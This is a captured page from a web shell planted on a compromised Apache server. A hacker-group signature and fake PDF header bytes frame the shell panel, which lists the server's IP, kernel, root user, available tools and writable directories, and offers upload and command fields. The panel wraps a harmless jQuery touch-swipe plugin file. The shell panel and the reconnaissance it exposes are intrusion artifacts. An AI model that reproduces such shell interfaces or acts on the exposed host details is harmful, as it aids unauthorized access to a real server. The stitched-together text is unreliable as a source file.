%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/modules/mod_sj_k2_slider/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/modules/mod_sj_k2_slider/assets/js/jquery.cj-swipe.js
/*
* jQuery Mobile Framework 1.1.0 db342b1f315c282692791aa870455901fdb46a55
* http://jquerymobile.com
*
* Copyright 2011 (c) jQuery Project
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
*/

/*
* Stripped the touch swipe logic from jQuery Mobile and turned it into this plugin
* Copyright 2012 (c) CodingJack - http://codecanyon.net/user/CodingJack
* Dual licensed under the MIT or GPL Version 2 licenses.
*/

/* USAGE

// listen both left and right signals, the String "left" or "right" will be passed as an argument to the callback
* $(element).touchSwipe(callback); 

// second parameter is optional and will invoke "event.stopImmediatePropagation()" 
// use this if you need to prevent other mouse events from firing on the same object when a swipe gesture is detected
* $(element).touchSwipe(callback, true);

// listen for only the left swipe event
* $(element).touchSwipeLeft(callback); 

// listen for only the right swipe event
* $(element).touchSwipeRight(callback); 

// unbind both left and right swipe events
* $(element).unbindSwipe(); 

// unbind only left swipe event
* $(element).unbindSwipeLeft(); 

// unbind only right swipe event
* $(element).unbindSwipeRight();
 

// SPECIAL NOTES 
* all methods return "this" for chaining
* before a plugin event is added, "unbind" is called first to make sure events are never erroneously duplicated
 
*/

;(function($) {
	
	var touchStopEvent, touchMoveEvent, touchStartEvent,
	horizontalDistanceThreshold = 30,
	verticalDistanceThreshold = 75, 
	scrollSupressionThreshold = 10, 
	durationThreshold = 1000;
	
	if("ontouchend" in document) {
	
		touchStopEvent = "touchend.cj_swp";
		touchMoveEvent = "touchmove.cj_swp";
		touchStartEvent = "touchstart.cj_swp";
		
	}
	else {
	
		touchStopEvent = "mouseup.cj_swp";
		touchMoveEvent = "mousemove.cj_swp";
		touchStartEvent = "mousedown.cj_swp";
		
	}
	
	$.fn.touchSwipe = function(cb, prevent) {
		
		if(prevent) this.data("stopPropagation", true);
		if(cb) return this.each(swipeBoth, [cb]);
		
	}
	
	$.fn.touchSwipeLeft = function(cb, prevent) {
		
		if(prevent) this.data("stopPropagation", true);
		if(cb) return this.each(swipeLeft , [cb]);
		
	}
	
	$.fn.touchSwipeRight = function(cb, prevent) {
		
		if(prevent) this.data("stopPropagation", true);
		if(cb) return this.each(swipeRight, [cb]);

	}
	
	function swipeBoth(cb) {
		
		$(this).touchSwipeLeft(cb).touchSwipeRight(cb);
		
	}
	
	function swipeLeft(cb) {
		
		var $this = $(this);
		
		if(!$this.data("swipeLeft")) $this.data("swipeLeft", cb);
		
		if(!$this.data("swipeRight")) addSwipe($this);
		
	}
	
	function swipeRight(cb) {
	
		var $this = $(this);
		
		if(!$this.data("swipeRight")) $this.data("swipeRight", cb);
		
		if(!$this.data("swipeLeft")) addSwipe($this);
		
	}
	
	$.fn.unbindSwipeLeft = function() {
		
		this.removeData("swipeLeft");
		
		if(!this.data("swipeRight")) this.unbindSwipe(true);
		
	}
	
	$.fn.unbindSwipeRight = function() {
		
		this.removeData("swipeRight");
		
		if(!this.data("swipeLeft")) this.unbindSwipe(true);
		
	}
	
	$.fn.unbindSwipe = function(changeData) {
		
		if(!changeData) this.removeData("swipeLeft swipeRight stopPropagation");
		
		return this.unbind(touchStartEvent + " " + touchMoveEvent + " " + touchStopEvent);
		
	}
	
	function addSwipe($this) {
		
		$this.unbindSwipe(true).bind(touchStartEvent, touchStart);
		
	}
	
	function touchStart(event) {
		
		var time = new Date().getTime(),
		data = event.originalEvent.touches ? event.originalEvent.touches[0] : event,
		$this = $(this).bind(touchMoveEvent, moveHandler).one(touchStopEvent, touchEnded),
		pageX = data.pageX,
		pageY = data.pageY,
		newPageX, 
		newPageY,
		newTime;
		
		if($this.data("stopPropagation")) event.stopImmediatePropagation();
			
		function touchEnded(event) {
			
			$this.unbind(touchMoveEvent);

			if(time && newTime) {
				
				if(newTime - time < durationThreshold && Math.abs(pageX - newPageX) > horizontalDistanceThreshold && Math.abs(pageY - newPageY) < verticalDistanceThreshold) {
					
					if(pageX > newPageX) {
						
						if($this.data("swipeLeft")) $this.data("swipeLeft")("left");
						
					}
					else {
						
						if($this.data("swipeRight")) $this.data("swipeRight")("right");
						
					}
				
				}
				
			}
			
			time = newTime = null;
			
		}
		
		function moveHandler(event) {

			if(time) {

				data = event.originalEvent.touches ? event.originalEvent.touches[0] : event;
				newTime = new Date().getTime();
				newPageX = data.pageX;
				newPageY = data.pageY;
	
				if(Math.abs(pageX - newPageX) > scrollSupressionThreshold) event.preventDefault();
				
			}
			
		}
		
	}
	
		
})(jQuery);






Anon7 - 2022
AnonSec Team